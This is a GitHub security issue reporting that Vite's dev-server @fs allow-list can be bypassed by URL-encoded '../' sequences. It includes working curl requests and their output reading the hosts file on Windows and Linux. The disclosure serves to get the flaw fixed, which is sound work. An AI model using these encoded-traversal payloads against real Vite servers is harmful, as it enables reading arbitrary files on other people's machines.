Skip to content

Unrestricted directory traversal with @fs (Bypass) #8498

@stypr

Description

@stypr

Describe the bug

The vulnerability found at #2820 was found to be not fixed properly, which leads to the unrestricted directory traversal.

Currently the @fs directory does check for the allowed path, but it does not check for encoded paths.

For example, assuming that /@fs/home/test/ is the only allowed path, this can be bypassed by accessing /@fs/home/test/%2e%2e%2f%2e%2e%2f, which translates to /@fs/home/test/../../ internally.

Since this way of access through the browser may output an inconsistent result, curl --path-as-is can be used as an alternative way to reproduce such issue.

Reproduction

Any vite project is affected by this vulnerability.

npm init @vitejs/app app
cd app
npm install
npm run dev

Reproduction in Windows

Accessing C:/Windows/System32/drivers/etc/hosts is blocked since the allow list only contains C:/Users/stypr/Desktop/development/q/vite-project.

$ curl --path-as-is -v "http://localhost:3001/@fs/C:/Windows/System32/drivers/etc/hosts"
*   Trying ::1:3001...
*   Trying 127.0.0.1:3001...
* Connected to localhost (127.0.0.1) port 3001 (#0)
> GET /@fs/C:/Windows/System32/drivers/etc/hosts HTTP/1.1
> Host: localhost:3001
> User-Agent: curl/7.75.0
> Accept: */*
>
* Mark bundle as not supporting multiuse
< HTTP/1.1 403 Forbidden
< Access-Control-Allow-Origin: *
< Date: Wed, 08 Jun 2022 04:00:32 GMT
< Connection: keep-alive
< Keep-Alive: timeout=5
< Transfer-Encoding: chunked
<

    <body>
      <h1>403 Restricted</h1>
      <p>The request url "C:/Windows/System32/drivers/etc/hosts" is outside of Vite serving allow list.<br/><br/>- C:/Users/stypr/Desktop/development/q/vite-project<br/><br/>Refer to docs https://vitejs.dev/config/#server-fs-allow for configurations and more details.</p>
      <style>
        body {
          padding: 1em 2em;
        }
      </style>
    </body>
  * Connection #0 to host localhost left intact
  * 

What if we access like C:/Users/stypr/Desktop/development/q/vite-project/../../../../../../Windows/System32/drivers/etc/hosts? In typical cases, this doesn't work

However, if we replace the path ../ as %2e%2e%2f and replace every trailing slashes to %2f, the check is bypassed and the path traversal becomes successful.

$ curl --path-as-is -v "http://localhost:3001/@fs/C:/Users/stypr/Desktop/development/q/vite-project/%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2fWindows%2fSystem32%2fdrivers%2fetc%2fhosts"
*   Trying ::1:3001...
*   Trying 127.0.0.1:3001...
* Connected to localhost (127.0.0.1) port 3001 (#0)
> GET /@fs/C:/Users/stypr/Desktop/development/q/vite-project/%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2fWindows%2fSystem32%2fdrivers%2fetc%2fhosts HTTP/1.1
> Host: localhost:3001
> User-Agent: curl/7.75.0
> Accept: */*
>
* Mark bundle as not supporting multiuse
< HTTP/1.1 200 OK
< Access-Control-Allow-Origin: *
< Content-Length: 824
< Content-Type:
< Last-Modified: Tue, 31 May 2022 03:15:34 GMT
< ETag: W/"824-1653966934106"
< Cache-Control: no-cache
< Date: Wed, 08 Jun 2022 03:53:26 GMT
< Connection: keep-alive
< Keep-Alive: timeout=5
<
# Copyright (c) 1993-2009 Microsoft Corp.
#
# This is a sample HOSTS file used by Microsoft TCP/IP for Windows.
#
# This file contains the mappings of IP addresses to host names. Each
# entry should be kept on an individual line. The IP address should
# be placed in the first column followed by the corresponding host name.
# The IP address and the host name should be separated by at least one
# space.
#
# Additionally, comments (such as these) may be inserted on individual
# lines or following the machine name denoted by a '#' symbol.
#
# For example:
#
#      102.54.94.97     rhino.acme.com          # source server
#       38.25.63.10     x.acme.com              # x client host

# localhost name resolution is handled within DNS itself.
#       127.0.0.1       localhost
#       ::1             localhost
*a Connection #0 to host localhost left intact

Reproduction in Linux

Linux is also pretty much the same, you can first get the whitelist path (/srv/q/app) by accessing a random path(/@fs/...), and then do a path traversal based on the given whitelist.

curl -v --path-as-is "http://192.168.125.129:3000/@fs/srv/q/app/%2e%2e%2f%2e%2e%2f%2e%2e%2fetc%2fhosts"
*   Trying 192.168.125.129:3000...
* TCP_NODELAY set
* Connected to 192.168.125.129 (192.168.125.129) port 3000 (#0)
> GET /@fs/srv/q/app/%2e%2e%2f%2e%2e%2f%2e%2e%2fetc%2fhosts HTTP/1.1
> Host: 192.168.125.129:3000
> User-Agent: curl/7.68.0
> Accept: */*
> 
* Mark bundle as not supporting multiuse
< HTTP/1.1 200 OK
< Access-Control-Allow-Origin: *
< Content-Length: 221
< Content-Type: 
< Last-Modified: Tue, 30 Jun 2020 09:41:51 GMT
< ETag: W/"221-1593510111311"
< Cache-Control: no-cache
< Date: Wed, 08 Jun 2022 04:09:49 GMT
< Connection: keep-alive
< Keep-Alive: timeout=5
< 
127.0.0.1	localhost
127.0.1.1	ubuntu

# The following lines are desirable for IPv6 capable hosts
::1     ip6-localhost ip6-loopback
fe00::0 ip6-localnet
ff00::0 ip6-mcastprefix
ff02::1 ip6-allnodes
ff02::2 ip6-allrouters
* Connection #0 to host 192.168.125.129 left intact

System Info

Windows

  System:
    OS: Windows 10 10.0.19044
    CPU: (16) x64 AMD Ryzen 7 3800X 8-Core Processor
    Memory: 33.13 GB / 63.93 GB
  Binaries:
    Node: 16.13.2 - C:\Program Files\nodejs\node.EXE
    Yarn: 1.22.10 - ~\AppData\Roaming\npm\yarn.CMD
    npm: 8.1.2 - C:\Program Files\nodejs\npm.CMD
  Browsers:
    Edge: Spartan (44.19041.1266.0), Chromium (102.0.1245.33)    
    Internet Explorer: 11.0.19041.1566
  npmPackages:
    @vitejs/plugin-vue: ^2.3.3 => 2.3.3
    vite: ^2.9.9 => 2.9.10

Linux

  System:
    OS: Linux 5.13 Ubuntu 20.04.3 LTS (Focal Fossa)
    CPU: (6) x64 AMD Ryzen 7 3800X 8-Core Processor
    Memory: 12.21 GB / 15.59 GB
    Container: Yes
    Shell: 5.0.17 - /bin/bash
  Binaries:
    Node: 14.18.3 - /usr/bin/node
    Yarn: 1.22.10 - /usr/bin/yarn
    npm: 6.14.15 - /usr/bin/npm
  Browsers:
    Chrome: 97.0.4692.99
    Firefox: 100.0.2

Used Package Manager

npm

Validations

Metadata

Metadata

Assignees

No one assigned

    Labels

    p5-urgentFix build-breaking bugs affecting most users, should be released ASAP (priority)security

    Type

    No type

    Projects

    No projects

    Milestone

    No milestone

    Relationships

    None yet

    Development

    No branches or pull requests

    Issue actions